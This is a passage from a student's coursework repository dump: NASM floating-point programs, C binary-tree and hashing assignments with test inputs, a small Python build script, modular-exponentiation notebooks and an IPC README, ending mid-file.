qword[x3] 35 | 36 | fld qword[x] 37 | fchs 38 | fimul word[five] 39 | fiadd word[nine] 40 | 41 | fadd qword[x2] 42 | fadd qword[x3] 43 | 44 | mov eax , format_out 45 | call _print_float 46 | 47 | jmp exit 48 | 49 | _scan_float : 50 | pusha 51 | push ebp 52 | mov ebp , esp 53 | sub esp , 8 54 | lea eax , [esp] 55 | push eax 56 | push format_in 57 | call scanf 58 | fld qword[ebp-8] 59 | fst qword[t_float] 60 | mov esp , ebp 61 | pop ebp 62 | popa 63 | ret 64 | 65 | _print_float : 66 | pusha 67 | push ebp 68 | mov ebp , esp 69 | sub esp , 8 70 | fst qword[ebp-8] 71 | push eax 72 | call printf 73 | mov esp , ebp 74 | pop ebp 75 | popa 76 | ret 77 | 78 | clearStack : 79 | pusha 80 | ffree ST0 81 | ffree ST1 82 | ffree ST2 83 | ffree ST3 84 | ffree ST4 85 | ffree ST5 86 | ffree ST6 87 | ffree ST7 88 | popa 89 | ret 90 | 91 | ; Exit 92 | exit : 93 | mov eax , 1 94 | mov ebx , 0 95 | int 80h 96 | -------------------------------------------------------------------------------- /S4/CO/NASM/Assignment_5/7.o: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/CodeWizrd001/Assignments/8c64416962fd3e1dfc01afc9244cf3da0d436b33/S4/CO/NASM/Assignment_5/7.o -------------------------------------------------------------------------------- /S4/CO/NASM/Assignment_5/8.aos: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/CodeWizrd001/Assignments/8c64416962fd3e1dfc01afc9244cf3da0d436b33/S4/CO/NASM/Assignment_5/8.aos -------------------------------------------------------------------------------- /S4/CO/NASM/Assignment_5/8.o: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/CodeWizrd001/Assignments/8c64416962fd3e1dfc01afc9244cf3da0d436b33/S4/CO/NASM/Assignment_5/8.o -------------------------------------------------------------------------------- /S4/CO/NASM/Assignment_5/Assignment 5.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/CodeWizrd001/Assignments/8c64416962fd3e1dfc01afc9244cf3da0d436b33/S4/CO/NASM/Assignment_5/Assignment 5.pdf -------------------------------------------------------------------------------- /S4/CO/NASM/Assignment_5/Completed/assg5_q1.asm: -------------------------------------------------------------------------------- 1 | section .data 2 | nl : db 10 3 | pa : db "Enter Celsius : " 4 | la : equ $-pa 5 | five : dw 5 6 | nine : dw 9 7 | zero : dq 0 8 | thirytwo : dw 32 9 | format_in : db "%lf",0 10 | format_out : db "Fahrenheit : %lf",10,0 11 | 12 | section .bss 13 | c : resq 1 14 | f : resq 1 15 | t_float : resq 1 16 | 17 | section .text 18 | global main 19 | extern scanf 20 | extern printf 21 | main : 22 | mov eax , 4 23 | mov ebx , 1 24 | mov ecx , pa 25 | mov edx , la 26 | int 80h 27 | 28 | call _scan_float 29 | fst qword[c] 30 | 31 | ffree ST0 32 | fld qword[zero] 33 | fiadd word[nine] 34 | fidiv word[five] 35 | fmul qword[c] 36 | fiadd word[thirytwo] 37 | 38 | mov eax , format_out 39 | call _print_float 40 | 41 | jmp exit 42 | 43 | _scan_float : 44 | pusha 45 | push ebp 46 | mov ebp , esp 47 | sub esp , 8 48 | lea eax , [esp] 49 | push eax 50 | push format_in 51 | call scanf 52 | fld qword[ebp-8] 53 | fst qword[t_float] 54 | mov esp , ebp 55 | pop ebp 56 | popa 57 | ret 58 | 59 | _print_float : 60 | pusha 61 | push ebp 62 | mov ebp , esp 63 | sub esp , 8 64 | fst qword[ebp-8] 65 | push eax 66 | call printf 67 | mov esp , ebp 68 | pop ebp 69 | popa 70 | ret 71 | 72 | clearStack : 73 | pusha 74 | ffree ST0 75 | ffree ST1 76 | ffree ST2 77 | ffree ST3 78 | ffree ST4 79 | ffree ST5 80 | ffree ST6 81 | ffree ST7 82 | popa 83 | ret 84 | 85 | ; Exit 86 | exit : 87 | mov eax , 1 88 | mov ebx , 0 89 | int 80h 90 | -------------------------------------------------------------------------------- /S4/CO/NASM/Assignment_5/Completed/assg5_q2.asm: -------------------------------------------------------------------------------- 1 | section .data 2 | nl : db 10 3 | pa : db "Enter A Number : " 4 | la : equ $-pa 5 | format_in : db "%lf",0 6 | format_out : db "Product : %lf",10,0 7 | 8 | section .bss 9 | a : resq 1 10 | t_float : resq 1 11 | 12 | section .text 13 | global main 14 | extern scanf 15 | extern printf 16 | main : 17 | mov eax , 4 18 | mov ebx , 1 19 | mov ecx , pa 20 | mov edx , la 21 | int 80h 22 | 23 | call _scan_float 24 | fst qword[a] 25 | 26 | mov eax , 4 27 | mov ebx , 1 28 | mov ecx , pa 29 | mov edx , la 30 | int 80h 31 | 32 | call _scan_float 33 | fmul qword[a] 34 | 35 | mov eax , format_out 36 | call _print_float 37 | 38 | jmp exit 39 | 40 | _scan_float : 41 | pusha 42 | push ebp 43 | mov ebp , esp 44 | sub esp , 8 45 | lea eax , [esp] 46 | push eax 47 | push format_in 48 | call scanf 49 | fld qword[ebp-8] 50 | fst qword[t_float] 51 | mov esp , ebp 52 | pop ebp 53 | popa 54 | ret 55 | 56 | _print_float : 57 | pusha 58 | push ebp 59 | mov ebp , esp 60 | sub esp , 8 61 | fst qword[ebp-8] 62 | push eax 63 | call printf 64 | mov esp , ebp 65 | pop ebp 66 | popa 67 | ret 68 | 69 | clearStack : 70 | pusha 71 | ffree ST0 72 | ffree ST1 73 | ffree ST2 74 | ffree ST3 75 | ffree ST4 76 | ffree ST5 77 | ffree ST6 78 | ffree ST7 79 | popa 80 | ret 81 | 82 | ; Exit 83 | exit : 84 | mov eax , 1 85 | mov ebx , 0 86 | int 80h 87 | -------------------------------------------------------------------------------- /S4/CO/NASM/Assignment_5/Completed/assg5_q7.asm: -------------------------------------------------------------------------------- 1 | section .data 2 | nl : db 10 3 | pa : db "Enter X : " 4 | la : equ $-pa 5 | five : dw 5 6 | nine : dw 9 7 | format_in : db "%lf",0 8 | format_out : db "F(X) : %lf",10,0 9 | 10 | section .bss 11 | x : resq 1 12 | x2 : resq 1 13 | x3 : resq 1 14 | t_float : resq 1 15 | 16 | section .text 17 | global main 18 | extern scanf 19 | extern printf 20 | main : 21 | mov eax , 4 22 | mov ebx , 1 23 | mov ecx , pa 24 | mov edx , la 25 | int 80h 26 | 27 | call _scan_float 28 | fst qword[x] 29 | 30 | fmul qword[x] 31 | fst qword[x2] 32 | 33 | fmul qword[x] 34 | fst qword[x3] 35 | 36 | fld qword[x] 37 | fchs 38 | fimul word[five] 39 | fiadd word[nine] 40 | 41 | fadd qword[x2] 42 | fadd qword[x3] 43 | 44 | mov eax , format_out 45 | call _print_float 46 | 47 | jmp exit 48 | 49 | _scan_float : 50 | pusha 51 | push ebp 52 | mov ebp , esp 53 | sub esp , 8 54 | lea eax , [esp] 55 | push eax 56 | push format_in 57 | call scanf 58 | fld qword[ebp-8] 59 | fst qword[t_float] 60 | mov esp , ebp 61 | pop ebp 62 | popa 63 | ret 64 | 65 | _print_float : 66 | pusha 67 | push ebp 68 | mov ebp , esp 69 | sub esp , 8 70 | fst qword[ebp-8] 71 | push eax 72 | call printf 73 | mov esp , ebp 74 | pop ebp 75 | popa 76 | ret 77 | 78 | clearStack : 79 | pusha 80 | ffree ST0 81 | ffree ST1 82 | ffree ST2 83 | ffree ST3 84 | ffree ST4 85 | ffree ST5 86 | ffree ST6 87 | ffree ST7 88 | popa 89 | ret 90 | 91 | ; Exit 92 | exit : 93 | mov eax , 1 94 | mov ebx , 0 95 | int 80h 96 | -------------------------------------------------------------------------------- /S4/CO/NASM/Assignment_5/make: -------------------------------------------------------------------------------- 1 | import os 2 | import sys 3 | 4 | name = sys.argv[1] 5 | try : 6 | kind = int(sys.argv[2]) 7 | except : 8 | kind = 1 9 | 10 | if __name__ == '__main__' : 11 | os.system('nasm -f elf {0}.asm'.format(name)) 12 | if kind == 1 : 13 | os.system('ld -melf_i386 {0}.o -o {0}.aos'.format(name)) 14 | elif kind == 2 : 15 | os.system('gcc -m32 {0}.o -o {0}.aos'.format(name)) 16 | -------------------------------------------------------------------------------- /S4/DSA/2021/Assignment_1/1: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/CodeWizrd001/Assignments/8c64416962fd3e1dfc01afc9244cf3da0d436b33/S4/DSA/2021/Assignment_1/1 -------------------------------------------------------------------------------- /S4/DSA/2021/Assignment_1/2: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/CodeWizrd001/Assignments/8c64416962fd3e1dfc01afc9244cf3da0d436b33/S4/DSA/2021/Assignment_1/2 -------------------------------------------------------------------------------- /S4/DSA/2021/Assignment_1/CS2094D_Assignment_1._Updated.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/CodeWizrd001/Assignments/8c64416962fd3e1dfc01afc9244cf3da0d436b33/S4/DSA/2021/Assignment_1/CS2094D_Assignment_1._Updated.pdf -------------------------------------------------------------------------------- /S4/DSA/2021/Assignment_1/assg1_1.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | 4 | typedef struct Node { 5 | struct Node *left ; 6 | struct Node *right ; 7 | int key ; 8 | } Node ; 9 | 10 | void parenPrint(Node *Root) 11 | { 12 | if(Root == NULL || Root == 0) 13 | { 14 | printf("()") ; 15 | return ; 16 | } 17 | Node *l = Root->left ; 18 | Node *r = Root->right ; 19 | // printf("[%#x %#x %#x]",Root,l,r) ; 20 | printf("(%d",Root->key) ; 21 | // printf("%#x %d\n",l,l==NULL) ; 22 | parenPrint(l) ; 23 | parenPrint(r) ; 24 | printf(")") ; 25 | return ; 26 | } 27 | 28 | void main() 29 | { 30 | char op ; 31 | int x ; 32 | int i = 0 ; 33 | Node *Tree = NULL ; 34 | do 35 | { 36 | scanf(" %c",&op) ; 37 | // printf("Scanned %c\n",op) ; 38 | switch(op) 39 | { 40 | case 'i' : if(i==0) 41 | Tree = calloc(1,sizeof(Node)) ; 42 | else 43 | Tree = realloc(Tree,(i+1) * sizeof(Node)) ; 44 | scanf("%d",&(Tree[i].key)) ; 45 | // printf("Scanned [%#x] %d\n",Tree + i,Tree[i].key) ; 46 | Tree[i].left = NULL ; 47 | Tree[i].right = NULL ; 48 | if(i>0) 49 | { 50 | if(i%2) 51 | Tree[(i-1)/2].left = Tree + i ; 52 | else 53 | Tree[(i-2)/2].right = Tree + i ; 54 | } 55 | i += 1 ; 56 | break ; 57 | case 'p' : parenPrint(Tree) ; 58 | printf("\n"); 59 | break ; 60 | case 'e' : break ; 61 | default : break ; 62 | } 63 | } while(op != 'e') ; 64 | } -------------------------------------------------------------------------------- /S4/DSA/2021/Assignment_1/i1: -------------------------------------------------------------------------------- 1 | i 4 2 | i 3 3 | i 9 4 | i 5 5 | i 6 6 | i 1 7 | i 8 8 | p 9 | e -------------------------------------------------------------------------------- /S4/DSA/2021/Assignment_1/i2: -------------------------------------------------------------------------------- 1 | (4(3(5()())(6()()))(9(1()())(8()()))) 2 | 6 -------------------------------------------------------------------------------- /S4/DSA/2021/Assignment_1/i2_2: -------------------------------------------------------------------------------- 1 | (4(3(5()())(6()()))(9()())) 2 | 6 -------------------------------------------------------------------------------- /S4/DSA/Assignment_2/ASSG2_4.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | struct Node 4 | { 5 | int data; 6 | struct Node *l; 7 | struct Node *r; 8 | struct Node *p; 9 | }; 10 | typedef struct Node node; 11 | 12 | void paren(node **t) 13 | { 14 | if((*t)!=NULL) 15 | { 16 | printf("(%d ",(*t)->data); 17 | paren(&(*t)->l); 18 | paren(&(*t)->r); 19 | } 20 | else if ((*t)==NULL) 21 | { 22 | printf("()"); 23 | return; 24 | } 25 | printf(")"); 26 | int tab; 27 | } 28 | 29 | void insert(node **t,int e) 30 | { 31 | node *z=(node*)malloc(sizeof(node)); 32 | z->data=e; 33 | z->l=NULL; 34 | z->r=NULL; 35 | z->p=NULL; 36 | 37 | node *y=NULL; 38 | node *x=*t; 39 | while((x)!=NULL) 40 | { 41 | y=x; 42 | if((z->data) <= (x->data)) 43 | x=x->l; 44 | else 45 | x=x->r; 46 | } 47 | z->p=y; 48 | if(y==NULL) 49 | { (*t)=z;z->l=0;} 50 | else if ((z->data) <= (y->data)) 51 | y->l=z; 52 | else 53 | y->r=z; 54 | } 55 | 56 | void main() 57 | { 58 | int n; 59 | scanf("%d",&n); 60 | node *t=NULL; 61 | int x; 62 | for(int i=0;i 2 | #include 3 | #include 4 | #include 5 | #define bool int 6 | typedef struct Node Node; 7 | struct Node{ 8 | int key; 9 | Node* left; 10 | Node* right; 11 | }; 12 | int max(int a,int b) 13 | { 14 | if(a>b) 15 | return a; 16 | else 17 | return b; 18 | } 19 | /*Node* new_node(int data)// 20 | { 21 | Node* new_node = (Node*)malloc(sizeof(Node)); 22 | new_node->key = data; 23 | new_node->right = new_node->left = NULL; 24 | return new_node; 25 | }*/ 26 | Node* insert(Node* root)//node = root 27 | { 28 | char c; 29 | int n; 30 | scanf(" %c",&c); 31 | if(scanf("%d",&n)==1) 32 | { 33 | Node* new_node = (Node*)malloc(sizeof(Node)); 34 | new_node->key = n; 35 | new_node->left = new_node->right = NULL; 36 | root = new_node; 37 | root->left =insert(root->left); 38 | root->right = insert(root->right); 39 | scanf(" %c",&c); 40 | return root; 41 | } 42 | else 43 | { 44 | scanf(" %c",&c); 45 | return NULL; 46 | } 47 | } 48 | int isBST(Node* node) 49 | { 50 | if (node == NULL) 51 | return 1; 52 | 53 | if (node->left != NULL && node->left->key > node->key) 54 | return 0; 55 | 56 | if (node->right != NULL && node->right->key < node->key) 57 | return 0; 58 | 59 | if (!isBST(node->left) || !isBST(node->right)) 60 | return 0; 61 | 62 | return 1; 63 | } 64 | int height(Node* T) 65 | { 66 | if(T == NULL) 67 | return 0; 68 | else 69 | return max(height(T->left),height(T->right)) +1; 70 | } 71 | 72 | int isAVL(Node* root) 73 | { 74 | int lh; 75 | int rh; 76 | 77 | if (root == NULL) 78 | return 1; 79 | 80 | lh = height(root->left); 81 | rh = height(root->right); 82 | 83 | if (abs(lh - rh) <= 1 && isAVL(root->left) && isAVL(root->right)) 84 | return 1; 85 | 86 | return 0; 87 | } 88 | int main() 89 | { 90 | Node *tree = NULL; 91 | tree = insert(tree); 92 | if(isAVL(tree)==1 && isBST(tree)==1) 93 | printf("1\n"); 94 | else 95 | printf("0\n"); 96 | return 0; 97 | } 98 | -------------------------------------------------------------------------------- /S4/DSA/Assignment_3/ASSG3_4.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | 5 | int hashcode(char x) 6 | { 7 | return x-'a'; 8 | } 9 | 10 | int checker(char*a,int *T,int *N,int x) 11 | { 12 | int hs ; 13 | for(int i=0;i=0) 64 | { 65 | rhash=hashcode(str[i-l]); 66 | sTable[rhash]--; 67 | } 68 | 69 | shash-=rhash; 70 | 71 | if(shash==phash) 72 | if(checker(pat,pTable,sTable,l)) 73 | flag=1; 74 | 75 | 76 | } 77 | if(flag) 78 | printf("YES\n"); 79 | else 80 | printf("NO\n"); 81 | } 82 | 83 | 84 | void main() 85 | { 86 | char *str; 87 | char *pat; 88 | 89 | int t; 90 | scanf("%d",&t); 91 | 92 | while(t) 93 | { 94 | str=(char*)malloc(10000*sizeof(char)); 95 | pat=(char*)malloc(1000*sizeof(char)); 96 | 97 | scanf("\n"); 98 | fgets(pat,1000,stdin); 99 | //scanf("\n"); 100 | fgets(str,10000,stdin); 101 | 102 | //printf("%s:%s %ld \n",pat,str,strlen(pat)); 103 | 104 | permut(pat,str); 105 | 106 | t--; 107 | 108 | } 109 | } 110 | -------------------------------------------------------------------------------- /S4/DSA/Assignment_4/Inputs/1/i1_1: -------------------------------------------------------------------------------- 1 | ( 33 B ( 13 R ( 11 B ( ) ( ) ) ( 21 B ( 15 R ( ) ( ) ) ( 31 R ( ) ( ) ) ) ) ( 53 B ( 41 R ( ) ( ) ) ( 61 R ( ) ( ) ) ) ) 2 | -------------------------------------------------------------------------------- /S4/DSA/Assignment_4/Inputs/1/i1_2: -------------------------------------------------------------------------------- 1 | ( 33 B ( 13 R ( 11 B ( ) ( ) ) ( 21 B ( 15 R ( ) ( ) ) ( 31 R ( ) ( ) ) ) ) ( 53 B ( 41 R ( ) ( ) ) ( 61 R ( ) ( ) ) ) ) 2 | -------------------------------------------------------------------------------- /S4/DSA/Assignment_4/Inputs/2/i2: -------------------------------------------------------------------------------- 1 | 25 2 | 18 3 | 34 4 | 30 5 | 36 6 | 28 7 | 29 8 | -------------------------------------------------------------------------------- /S4/DSA/Assignment_4/Inputs/3/i3_0: -------------------------------------------------------------------------------- 1 | m 1 2 | m 2 3 | m 3 4 | m 4 5 | m 5 6 | m 6 7 | m 7 8 | m 8 9 | m 9 10 | u 1 2 11 | u 3 4 12 | u 5 6 13 | u 7 8 14 | u 9 8 15 | u 6 8 16 | u 4 8 17 | u 2 8 18 | f 9 19 | m 10 20 | u 10 9 21 | s 22 | -------------------------------------------------------------------------------- /S4/DSA/Assignment_4/Inputs/4/i4_0: -------------------------------------------------------------------------------- 1 | 10 2 | insr 0 10 3 | insr 2 20 4 | insr 5 30 5 | insr 1 40 6 | insr 3 50 7 | extr 8 | insr 0 60 9 | min 10 | decr 1 45 11 | extr 12 | min 13 | stop 14 | -------------------------------------------------------------------------------- /S4/DSA/Assignment_4/Inputs/4/i4_1: -------------------------------------------------------------------------------- 1 | 10 2 | insr 0 10 3 | insr 2 20 4 | extr 5 | stop 6 | -------------------------------------------------------------------------------- /S4/DSA/Assignment_4/Inputs/4/i4_2: -------------------------------------------------------------------------------- 1 | 10 2 | insr 0 10 3 | extr 4 | stop 5 | -------------------------------------------------------------------------------- /S4/DSA/Assignment_4/Inputs/4/i4_3: -------------------------------------------------------------------------------- 1 | 10 2 | insr 0 10 3 | insr 2 20 4 | insr 5 30 5 | insr 1 40 6 | insr 3 50 7 | extr 8 | insr 0 60 9 | decr 3 45 10 | extr 11 | tc 12 | min 13 | del 5 14 | stop 15 | -------------------------------------------------------------------------------- /S4/DSA/Assignment_4/Intermediate/1.aos: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/CodeWizrd001/Assignments/8c64416962fd3e1dfc01afc9244cf3da0d436b33/S4/DSA/Assignment_4/Intermediate/1.aos -------------------------------------------------------------------------------- /S4/DSA/Assignment_4/Intermediate/2.aos: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/CodeWizrd001/Assignments/8c64416962fd3e1dfc01afc9244cf3da0d436b33/S4/DSA/Assignment_4/Intermediate/2.aos -------------------------------------------------------------------------------- /S4/DSA/Assignment_4/Intermediate/3.aos: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/CodeWizrd001/Assignments/8c64416962fd3e1dfc01afc9244cf3da0d436b33/S4/DSA/Assignment_4/Intermediate/3.aos -------------------------------------------------------------------------------- /S4/DSA/Assignment_4/Intermediate/4.aos: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/CodeWizrd001/Assignments/8c64416962fd3e1dfc01afc9244cf3da0d436b33/S4/DSA/Assignment_4/Intermediate/4.aos -------------------------------------------------------------------------------- /S4/DSA/Assignment_4/Intermediate/4_0.aos: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/CodeWizrd001/Assignments/8c64416962fd3e1dfc01afc9244cf3da0d436b33/S4/DSA/Assignment_4/Intermediate/4_0.aos -------------------------------------------------------------------------------- /S5/NTC/.ipynb_checkpoints/FASTEXP-checkpoint.ipynb: -------------------------------------------------------------------------------- 1 | { 2 | "cells": [ 3 | { 4 | "cell_type": "code", 5 | "execution_count": 33, 6 | "metadata": {}, 7 | "outputs": [ 8 | { 9 | "name": "stdout", 10 | "output_type": "stream", 11 | "text": [ 12 | "enter the exponent: 26\n", 13 | "Enter x: 2\n", 14 | "Enter n:23\n", 15 | "11010\n", 16 | "sq\n", 17 | "2\n", 18 | "mul\n", 19 | "3\n", 20 | "sq\n", 21 | "6\n", 22 | "sq\n", 23 | "12\n", 24 | "mul\n", 25 | "13\n", 26 | "sq\n", 27 | "26\n", 28 | "Result is 16\n" 29 | ] 30 | } 31 | ], 32 | "source": [ 33 | "#SAM : SCAN LEFT TO RIGHT BS\n", 34 | "i = int(input(\"enter the exponent: \"))\n", 35 | "x = int(input(\"Enter x: \"))\n", 36 | "n = int(input(\"Enter n:\"))\n", 37 | "b = str(bin(i)[2:])\n", 38 | "l = []\n", 39 | "res = x\n", 40 | "a = 1\n", 41 | "print(b)\n", 42 | "for j in range(1,len(b),1):\n", 43 | " res = (res*res)%n\n", 44 | " a = a*2\n", 45 | " print(\"sq\")\n", 46 | " print(a)\n", 47 | " if(b[j] == '1'):\n", 48 | " res = res*x%n\n", 49 | " a = a+1\n", 50 | " print(\"mul\")\n", 51 | " print(a)\n", 52 | "\n", 53 | "print(\"Result is\",res)" 54 | ] 55 | }, 56 | { 57 | "cell_type": "code", 58 | "execution_count": null, 59 | "metadata": {}, 60 | "outputs": [], 61 | "source": [] 62 | } 63 | ], 64 | "metadata": { 65 | "kernelspec": { 66 | "display_name": "Python 3", 67 | "language": "python", 68 | "name": "python3" 69 | }, 70 | "language_info": { 71 | "codemirror_mode": { 72 | "name": "ipython", 73 | "version": 3 74 | }, 75 | "file_extension": ".py", 76 | "mimetype": "text/x-python", 77 | "name": "python", 78 | "nbconvert_exporter": "python", 79 | "pygments_lexer": "ipython3", 80 | "version": "3.7.3" 81 | } 82 | }, 83 | "nbformat": 4, 84 | "nbformat_minor": 4 85 | } 86 | -------------------------------------------------------------------------------- /S5/NTC/.ipynb_checkpoints/Untitled-checkpoint.ipynb: -------------------------------------------------------------------------------- 1 | { 2 | "cells": [], 3 | "metadata": {}, 4 | "nbformat": 4, 5 | "nbformat_minor": 2 6 | } 7 | -------------------------------------------------------------------------------- /S5/NTC/B180341CS_AJAY/B180341CS_AJAY.rar: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/CodeWizrd001/Assignments/8c64416962fd3e1dfc01afc9244cf3da0d436b33/S5/NTC/B180341CS_AJAY/B180341CS_AJAY.rar -------------------------------------------------------------------------------- /S5/NTC/B180341CS_AJAY/B180341CS_AJAY_1_i.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/CodeWizrd001/Assignments/8c64416962fd3e1dfc01afc9244cf3da0d436b33/S5/NTC/B180341CS_AJAY/B180341CS_AJAY_1_i.jpg -------------------------------------------------------------------------------- /S5/NTC/B180341CS_AJAY/B180341CS_AJAY_1_ii.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/CodeWizrd001/Assignments/8c64416962fd3e1dfc01afc9244cf3da0d436b33/S5/NTC/B180341CS_AJAY/B180341CS_AJAY_1_ii.jpg -------------------------------------------------------------------------------- /S5/NTC/B180341CS_AJAY/B180341CS_AJAY_2_i.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/CodeWizrd001/Assignments/8c64416962fd3e1dfc01afc9244cf3da0d436b33/S5/NTC/B180341CS_AJAY/B180341CS_AJAY_2_i.jpg -------------------------------------------------------------------------------- /S5/NTC/B180341CS_AJAY/B180341CS_AJAY_2_ii.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/CodeWizrd001/Assignments/8c64416962fd3e1dfc01afc9244cf3da0d436b33/S5/NTC/B180341CS_AJAY/B180341CS_AJAY_2_ii.jpg -------------------------------------------------------------------------------- /S5/NTC/B180341CS_AJAY/B180341CS_AJAY_3_i.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/CodeWizrd001/Assignments/8c64416962fd3e1dfc01afc9244cf3da0d436b33/S5/NTC/B180341CS_AJAY/B180341CS_AJAY_3_i.jpg -------------------------------------------------------------------------------- /S5/NTC/B180341CS_AJAY/B180341CS_AJAY_3_ii.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/CodeWizrd001/Assignments/8c64416962fd3e1dfc01afc9244cf3da0d436b33/S5/NTC/B180341CS_AJAY/B180341CS_AJAY_3_ii.jpg -------------------------------------------------------------------------------- /S5/NTC/B180341CS_AJAY/B180341CS_AJAY_4_i.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/CodeWizrd001/Assignments/8c64416962fd3e1dfc01afc9244cf3da0d436b33/S5/NTC/B180341CS_AJAY/B180341CS_AJAY_4_i.jpg -------------------------------------------------------------------------------- /S5/NTC/B180341CS_AJAY/B180341CS_AJAY_4_ii.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/CodeWizrd001/Assignments/8c64416962fd3e1dfc01afc9244cf3da0d436b33/S5/NTC/B180341CS_AJAY/B180341CS_AJAY_4_ii.jpg -------------------------------------------------------------------------------- /S5/NTC/B180341CS_AJAY/B180341CS_AJAY_5_i.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/CodeWizrd001/Assignments/8c64416962fd3e1dfc01afc9244cf3da0d436b33/S5/NTC/B180341CS_AJAY/B180341CS_AJAY_5_i.jpg -------------------------------------------------------------------------------- /S5/NTC/B180341CS_AJAY/B180341CS_AJAY_5_ii.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/CodeWizrd001/Assignments/8c64416962fd3e1dfc01afc9244cf3da0d436b33/S5/NTC/B180341CS_AJAY/B180341CS_AJAY_5_ii.jpg -------------------------------------------------------------------------------- /S5/NTC/B180341CS_AJAY/B180341CS_AJAY_6_i.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/CodeWizrd001/Assignments/8c64416962fd3e1dfc01afc9244cf3da0d436b33/S5/NTC/B180341CS_AJAY/B180341CS_AJAY_6_i.jpg -------------------------------------------------------------------------------- /S5/NTC/B180341CS_AJAY/B180341CS_AJAY_6_ii.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/CodeWizrd001/Assignments/8c64416962fd3e1dfc01afc9244cf3da0d436b33/S5/NTC/B180341CS_AJAY/B180341CS_AJAY_6_ii.jpg -------------------------------------------------------------------------------- /S5/NTC/B180341CS_AJAY/B180341CS_AJAY_6_iii.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/CodeWizrd001/Assignments/8c64416962fd3e1dfc01afc9244cf3da0d436b33/S5/NTC/B180341CS_AJAY/B180341CS_AJAY_6_iii.jpg -------------------------------------------------------------------------------- /S5/NTC/FASTEXP.ipynb: -------------------------------------------------------------------------------- 1 | { 2 | "cells": [ 3 | { 4 | "cell_type": "code", 5 | "execution_count": 33, 6 | "metadata": {}, 7 | "outputs": [ 8 | { 9 | "name": "stdout", 10 | "output_type": "stream", 11 | "text": [ 12 | "enter the exponent: 26\n", 13 | "Enter x: 2\n", 14 | "Enter n:23\n", 15 | "11010\n", 16 | "sq\n", 17 | "2\n", 18 | "mul\n", 19 | "3\n", 20 | "sq\n", 21 | "6\n", 22 | "sq\n", 23 | "12\n", 24 | "mul\n", 25 | "13\n", 26 | "sq\n", 27 | "26\n", 28 | "Result is 16\n" 29 | ] 30 | } 31 | ], 32 | "source": [ 33 | "#SAM : SCAN LEFT TO RIGHT BS\n", 34 | "i = int(input(\"enter the exponent: \"))\n", 35 | "x = int(input(\"Enter x: \"))\n", 36 | "n = int(input(\"Enter n:\"))\n", 37 | "b = str(bin(i)[2:])\n", 38 | "l = []\n", 39 | "res = x\n", 40 | "a = 1\n", 41 | "print(b)\n", 42 | "for j in range(1,len(b),1):\n", 43 | " res = (res*res)%n\n", 44 | " a = a*2\n", 45 | " print(\"sq\")\n", 46 | " print(a)\n", 47 | " if(b[j] == '1'):\n", 48 | " res = res*x%n\n", 49 | " a = a+1\n", 50 | " print(\"mul\")\n", 51 | " print(a)\n", 52 | "\n", 53 | "print(\"Result is\",res)" 54 | ] 55 | }, 56 | { 57 | "cell_type": "code", 58 | "execution_count": null, 59 | "metadata": {}, 60 | "outputs": [], 61 | "source": [] 62 | } 63 | ], 64 | "metadata": { 65 | "kernelspec": { 66 | "display_name": "Python 3", 67 | "language": "python", 68 | "name": "python3" 69 | }, 70 | "language_info": { 71 | "codemirror_mode": { 72 | "name": "ipython", 73 | "version": 3 74 | }, 75 | "file_extension": ".py", 76 | "mimetype": "text/x-python", 77 | "name": "python", 78 | "nbconvert_exporter": "python", 79 | "pygments_lexer": "ipython3", 80 | "version": "3.7.3" 81 | } 82 | }, 83 | "nbformat": 4, 84 | "nbformat_minor": 4 85 | } 86 | -------------------------------------------------------------------------------- /S5/OSTheory/Assignment_3/Q1/README.md: -------------------------------------------------------------------------------- 1 | # IPC Using Message Queues 2 | 3 | Interprocess communication between unrelated processes 4 | 5 | The ftok , msgget , msgget and msgrevc commands are used to create and use the message queues 6 | 7 | ## Files : 8 | ``` 9 | q1_CI.c # CI Program 10 | q1_ST.c # Student Program 11 | q1_TA.c # TA program 12 | ``` 13 | ## Commands to run : 14 | ``` 15 | gcc q1_CI.c -o ci && ./ci # Compile and runs Program of process 1 16 | gcc q1_ST.c -o st && ./st # Compile and runs Program of process 2 17 | gcc q1_TA.c -o ta && ./ta # Compile and runs Program of process 3 18 | ``` 19 | ## Processes 20 | ``` 21 | CI # Gets User Input and displays grades 22 | TA # Calculates Average and Assigns Grades 23 | Students # Receives Marks 24 | ``` 25 | -------------------------------------------------------------------------------- /S5/OSTheory/Assignment_3/Q1/ci: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/CodeWizrd001/Assignments/8c64416962fd3e1dfc01afc9244cf3da0d436b33/S5/OSTheory/Assignment_3/Q1/ci -------------------------------------------------------------------------------- /S5/OSTheory/Assignment_3/Q1/q1.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/CodeWizrd001/Assignments/8c64416962fd3e1dfc01afc9244cf3da0d436b33/S5/OSTheory/Assignment_3/Q1/q1.png -------------------------------------------------------------------------------- /S5/OSTheory/Assignment_3/Q1/q1_CI.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | 6 | struct buffer 7 | 